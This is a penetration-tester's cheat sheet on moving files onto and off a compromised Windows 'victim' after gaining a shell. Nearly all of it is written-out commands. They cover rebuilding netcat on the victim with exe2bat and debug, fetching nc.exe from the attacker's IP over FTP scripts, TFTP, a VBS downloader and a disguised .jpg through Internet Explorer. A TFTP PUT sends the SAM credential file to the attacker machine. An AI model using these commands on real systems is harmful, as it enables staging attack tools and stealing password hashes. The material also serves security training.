

### Info

#### Check Transfer Progress

<http://www.cyberciti.biz/open-source/command-line-hacks/pv-command-examples/>

### DEBUG.exe

**Note:** Uploaded file cannot be larger than 64-bytes. UPX can be used to compress files.

```
locate exe2bat.exe
wine exe2bat.exe
upx -9 nc.exe (to compress nc.exe)
ls -l nc.exe (should now be smaller)
wine exe2bat.exe /root/nc.exe nc.txt (convert nc.exe to nc.txt)
cat nc.txt | more (should be a hex dump)
Near the end of nc.txt, exe2bat tells the debugger on the windows victim to create an exe
Gain your shell using your usual exploit then copy and paste the contents of nc.txt into the remote shell. If it fails, re-run any failed commands manually. nc.exe will now be created on the victim machine.
```

### Python

#### Victim

```
python -m
SimpleHTTPServer
```

#### Attacker

Browse to victim from attacking machine for a directory listing

### Netcat

```
nc -lvp 12345 | tar -xf -
(on receiver)
tar -cf - filename.txt |
nc -vn 192.168.1.14 12345
(on sender)
Note: You will have no indication of file progress. just wait a period of time then CTRL+C
http://www.g-loaded.eu/2006/11/06/netcat-a-couple-of-useful-examples/
```

### FTP - Windows

Connect to an ftp server on port 80

```
ftp
open x.x.x.x 80
Connect using commands in config.txt
ftp -n -v -s:config.txt
10.2.10.14
config.txt:
user uid1234 (username)
uid1234 (password)
quit
```

### FTP Upload

Outbound FTP is usually allowed in companies.

**Kali**

```
pure-pw useradd hacker -u
ftpusers -d /ftphome/
(create user hacker)
pure-pw mkdb
cp
/pentest/windows/nc.exe
/ftphome
/etc/init.d/pure-ftpd
start
ftp 127.0.0.1 (test login)
ls (nc.exe should appear)
bye
```

### FTP Upload (cont)

#### Victim (Windows)

After getting a shell:

```
echo open 192.168.34.10 >
ftp.txt (commands to be run in the -s step)
echo myftp>> ftp.txt (no space between username and append command)
echo myftp>> ftp.txt
echo bin >> ftp.txt
echo get nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt (-s run commands in ftp.txt)
```

### FTP - Pure-FTPD

```
/etc/init.d/pure-ftpd
start (start ftp server)
netstat -antp (confirm server on port 21)
/etc/init.d/pure-ftpd stop
(stop ftp server)
ls -l /ftphome (home ftp directory created by ftpd)
cp nc.exe /ftphome (copy netcat to ftphome)
ftp 127.0.0.1 (login ftp to server)
ls (netcat should appear)
bin (switch to binary for file transfer)
get nc.exe (confirm file transfer works)
bye
file nc.exe (confirm file properties are intact)
```

### Internet Explorer

Can be good for bypassing Firewalls

```
mv nc.exe to nc.jpg (exe files will open a dialog, so they need to be converted)
./ability-linux (gain your remote shell)
cd prog*
cd internet*
start iexplore.exe
http://192.168.8.173/nc.jpg
g` (nc.jpg will be downloaded to temp directory)
Navigate to the temporary internet files on the victim (e.g. c:\documents and settings\offsec\local settings\temporary internet files)
copy nc.jpg c:\
cd\
rename nc.jpg nc.exe
nc.exe (nc should be functional)
```

### down.vbs

'Barabas pure vbs downloader - tested on XP sp2

'Microsoft fixed adodbstream but guess what :)

'(c)dec 2004

'First argument = complete url to download

'Second Argument = filename you want to save

'thnks to

<http://www.ericphelps.com/scripting/samples/BinaryDownload/>

'

'v2 - now includes proxy support for the winhttp request stuff

### down.vbs (cont)

```
strUrl =
WScript.Arguments.Item(0)
StrFile =
WScript.Arguments.Item(1)
'WinHttpRequest proxy settings.
Const
HTTPREQUEST_PROXYSETTING
-
DEFAULT = 0
Const
HTTPREQUEST_PROXYSETTING
_PRECONFIG = 0
Const
HTTPREQUEST_PROXYSETTING
_DIRECT = 1
```

### VBS Download (with down.vbs)

```
cat down.vbs (confirm contents)
sed 's/^echo /'
download-vbscript (add echo
to start of lines)
sed 's/^echo /'
download-vbscript | sed
's/S/ >> down.vbs/' (add
append to end of lines)
sed 's/^echo /'
download-vbscript | sed
's/S/ >> down.vbs/' | grep
-v 'echo >> down.dbs'
(remove echo on blank lines)
/etc/init.d/apache2 start
cp nc.exe /var/www/
After getting a shell on your Victim:
Copy and paste the text output of
the final sed command above and
hit enter to create down.vbs.
cscript down.vbs
http://192.168.8.173/nc.exe
nc2.exe (to run down.vbs,
which will download nc.exe to
nc2.exe)
```

### VBS Download (with down.vbs) (cont)

nc.exe (check if file is functional)

### TFTP Server

#### Kali

```
apt-get install atftpd
atftpd --daemon --port 69
/tmp (start in daemon mode on
port 69, home directory /tmp)
atftpd --daemon --port
1234 /tmp (start in daemon mode
on port 1234, home directory /tmp)
netstat -anup | grep
atftp (should be listening on port
69 udp)
cp /nc.exe /tmp
```

#### Downloading in Linux

```
tftp 127.0.0.1 (connect to
server)
get nc.exe
quit
ls -l nc.exe
file nc.exe
```

#### Kill Server

```
ps -ef | grep atftp
kill -9 16084 (first column
number)
netstat -anup | grep 69
(confirm server has been killed)
```

### TFTP

**Note:** Most corporate firewalls will block outbound traffic rendering TFTP unusable. TFTP might not be on Windows machines. Files transferred will usually be read only. Change attrib of file to delete using attrib -r filename.

### TFTP (cont)

#### Download from Attacker

##### Kali

```
atftpd --daemon --port 69
/tmp
/usr/share/windows-
binaries/nc.exe /tmp
chmod 777 /tmp/nc.exe
```

##### Windows

Initiate your remote shell to the Windows PC using your exploit: `./ability-linux.py` (ability exploit, served, shell started) ``cd`` `tftp -i 192.168.23.10 GET nc.exe` (on Windows Victim, IP = Kali)

#### Upload to Attacker

```
tftp -i 192.168.8.172 PUT
sam
```

sam should now appear in /tmp on the Kali machine

#### Download in Windows

```
tftp get 2.3.5.1:/lanscan
(get the file lanscan from TFTP
server 2.3.5.1)
```